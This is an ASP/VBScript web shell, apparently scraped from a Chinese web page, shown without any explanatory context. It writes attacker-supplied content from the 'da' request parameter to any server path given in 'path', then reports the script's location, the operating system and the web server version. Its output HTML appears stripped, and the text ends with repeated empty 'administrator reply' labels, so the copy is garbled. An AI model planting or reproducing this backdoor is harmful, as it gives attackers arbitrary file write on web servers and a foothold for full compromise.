dim da
set fso=server.createobject(“scripting.filesystemobject”)
path=request(“path”)
if path<>”" then
data=request(“da”)
set da=fso.createtextfile(path,true)
da.write data
if err=0 then
Response.Write “yes”
else
Response.Write “no”
end if
err.clear
end if
set da=nothing
set fos=nothing
Response.Write “”
Response.Write “”
Response.Write “”
Response.Write “當(dāng)前文件路徑:”&server.mappath(request.servervariables(“script_name”))
Response.Write “”
Response.Write “操作系統(tǒng)為:”&Request.ServerVariables(“OS”)
Response.Write “”
Response.Write “WEB服務(wù)器版本為:”&Request.ServerVariables(“SERVER_SOFTWARE”)
Response.Write “”
Response.Write “”
Response.Write “”
Response.Write “”
Response.Write “”
管理員回復(fù):
管理員回復(fù):
管理員回復(fù):
管理員回復(fù):
管理員回復(fù):
管理員回復(fù):
管理員回復(fù):
管理員回復(fù):
管理員回復(fù):